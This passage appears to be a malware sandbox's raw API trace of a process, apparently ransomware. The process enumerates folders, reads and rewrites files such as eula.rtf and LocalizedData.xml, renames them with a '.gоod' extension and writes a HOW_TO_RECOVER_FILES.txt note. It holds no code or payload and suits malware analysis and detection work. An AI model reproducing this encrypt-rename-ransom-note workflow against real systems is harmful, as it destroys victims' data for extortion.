ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1397e, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0110.935] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0110.935] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0110.936] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0110.936] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ede30) returned 1 [0110.936] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddf0) returned 1 [0110.936] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edef0) returned 1 [0110.936] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\2070", nBufferLength=0x105, lpBuffer=0x1f6ed990, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\2070", lpFilePart=0x0) returned 0x1a [0110.936] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\*", lpFindFileData=0x1f6edc10 | out: lpFindFileData=0x1f6edc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0110.936] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0110.936] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xfaf, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0110.936] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1397e, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0110.937] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0110.937] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0110.937] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0110.937] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ede30) returned 1 [0110.937] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddf0) returned 1 [0110.937] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\2070\\eula.rtf", lpFilePart=0x0) returned 0x23 [0110.937] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edca0) returned 1 [0110.937] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0x342ea50 | out: lpFileInformation=0x342ea50*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xfaf)) returned 1 [0110.937] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc60) returned 1 [0110.937] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed630, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\2070\\eula.rtf", lpFilePart=0x0) returned 0x23 [0110.938] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edb50) returned 1 [0110.938] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0110.938] GetFileType (hFile=0x7b4) returned 0x1 [0110.938] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edac0) returned 1 [0110.938] GetFileType (hFile=0x7b4) returned 0x1 [0110.938] GetFileSize (in: hFile=0x7b4, lpFileSizeHigh=0x1f6edcf8 | out: lpFileSizeHigh=0x1f6edcf8*=0x0) returned 0xfaf [0110.938] ReadFile (in: hFile=0x7b4, lpBuffer=0x342fc08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edc28, lpOverlapped=0x0 | out: lpBuffer=0x342fc08*, lpNumberOfBytesRead=0x1f6edc28*=0xfaf, lpOverlapped=0x0) returned 1 [0111.273] CloseHandle (hObject=0x7b4) returned 1 [0111.801] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed630, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\2070\\eula.rtf", lpFilePart=0x0) returned 0x23 [0111.801] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edb50) returned 1 [0111.801] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0111.802] GetFileType (hFile=0x7c8) returned 0x1 [0111.802] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edac0) returned 1 [0111.802] GetFileType (hFile=0x7c8) returned 0x1 [0111.802] WriteFile (in: hFile=0x7c8, lpBuffer=0x3584198*, nNumberOfBytesToWrite=0xfb0, lpNumberOfBytesWritten=0x1f6edb38, lpOverlapped=0x0 | out: lpBuffer=0x3584198*, lpNumberOfBytesWritten=0x1f6edb38*=0xfb0, lpOverlapped=0x0) returned 1 [0111.803] CloseHandle (hObject=0x7c8) returned 1 [0111.803] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\2070\\eula.rtf", lpFilePart=0x0) returned 0x23 [0111.803] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf.gоod", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\2070\\eula.rtf.gоod", lpFilePart=0x0) returned 0x28 [0111.803] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edc60) returned 1 [0111.803] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0x1f6edd40 | out: lpFileInformation=0x1f6edd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x3ed945fe, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xfb0)) returned 1 [0111.803] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc20) returned 1 [0111.803] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf.gоod" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf.gоod")) returned 1 [0111.805] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0111.805] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edca0) returned 1 [0111.805] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0x3585380 | out: lpFileInformation=0x3585380*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1397e)) returned 1 [0111.991] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc60) returned 1 [0111.991] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0111.991] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0111.991] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0111.992] GetFileType (hFile=0x7dc) returned 0x1 [0111.992] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0111.992] GetFileType (hFile=0x7dc) returned 0x1 [0111.992] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6edcf8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6edcf8*=0) returned 0x1000 [0111.992] ReadFile (in: hFile=0x7dc, lpBuffer=0x346a1d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edcc8, lpOverlapped=0x0 | out: lpBuffer=0x346a1d0*, lpNumberOfBytesRead=0x1f6edcc8*=0x1000, lpOverlapped=0x0) returned 1 [0111.993] CloseHandle (hObject=0x7dc) returned 1 [0111.993] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0111.993] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0111.994] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0111.994] GetFileType (hFile=0x7dc) returned 0x1 [0111.994] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0111.994] GetFileType (hFile=0x7dc) returned 0x1 [0111.994] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6edcf8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6edcf8*=0) returned 0x1397e [0111.994] WriteFile (in: hFile=0x7dc, lpBuffer=0x346b440*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6edbe8, lpOverlapped=0x0 | out: lpBuffer=0x346b440*, lpNumberOfBytesWritten=0x1f6edbe8*=0x10, lpOverlapped=0x0) returned 1 [0111.995] CloseHandle (hObject=0x7dc) returned 1 [0111.995] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0111.995] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0111.995] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0111.995] GetFileType (hFile=0x7dc) returned 0x1 [0111.995] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0111.995] GetFileType (hFile=0x7dc) returned 0x1 [0111.995] ReadFile (in: hFile=0x7dc, lpBuffer=0x346d6d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edc78, lpOverlapped=0x0 | out: lpBuffer=0x346d6d8*, lpNumberOfBytesRead=0x1f6edc78*=0x1000, lpOverlapped=0x0) returned 1 [0112.022] CloseHandle (hObject=0x7dc) returned 1 [0112.023] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0112.023] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0112.023] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0112.023] GetFileType (hFile=0x7dc) returned 0x1 [0112.023] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0112.023] GetFileType (hFile=0x7dc) returned 0x1 [0112.023] WriteFile (in: hFile=0x7dc, lpBuffer=0x346c458*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6edd28, lpOverlapped=0x0 | out: lpBuffer=0x346c458*, lpNumberOfBytesWritten=0x1f6edd28*=0x1010, lpOverlapped=0x0) returned 1 [0112.023] CloseHandle (hObject=0x7dc) returned 1 [0112.023] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0112.023] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml.gоod", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml.gоod", lpFilePart=0x0) returned 0x31 [0112.023] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edc60) returned 1 [0112.023] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0x1f6edd40 | out: lpFileInformation=0x1f6edd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x3efd0763, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1398e)) returned 1 [0112.023] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc20) returned 1 [0112.023] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml.gоod" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml.gоod")) returned 1 [0112.024] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6ed940, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\2070\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x33 [0112.024] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ede60) returned 1 [0112.024] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\588bce7c90097ed212\\2070\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7dc [0112.024] GetFileType (hFile=0x7dc) returned 0x1 [0112.024] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddd0) returned 1 [0112.024] GetFileType (hFile=0x7dc) returned 0x1 [0112.025] WriteFile (in: hFile=0x7dc, lpBuffer=0x34ebde0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6edf28, lpOverlapped=0x0 | out: lpBuffer=0x34ebde0*, lpNumberOfBytesWritten=0x1f6edf28*=0x5d0, lpOverlapped=0x0) returned 1 [0112.026] CloseHandle (hObject=0x7dc) returned 1 [0112.026] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edef0) returned 1 [0112.026] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\3076", nBufferLength=0x105, lpBuffer=0x1f6ed990, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\3076", lpFilePart=0x0) returned 0x1a [0112.026] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\*", lpFindFileData=0x1f6edc10 | out: lpFindFileData=0x1f6edc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0112.027] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.027] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x18a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0112.027] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed90, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0112.027] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0112.027] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0112.027] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0112.027] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ede30) returned 1 [0112.027] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddf0) returned 1 [0112.028] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edef0) returned 1 [0112.028] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\3076", nBufferLength=0x105, lpBuffer=0x1f6ed990, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\3076", lpFilePart=0x0) returned 0x1a [0112.028] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\*", lpFindFileData=0x1f6edc10 | out: lpFindFileData=0x1f6edc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0112.028] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.028] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x18a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0112.028] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed90, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 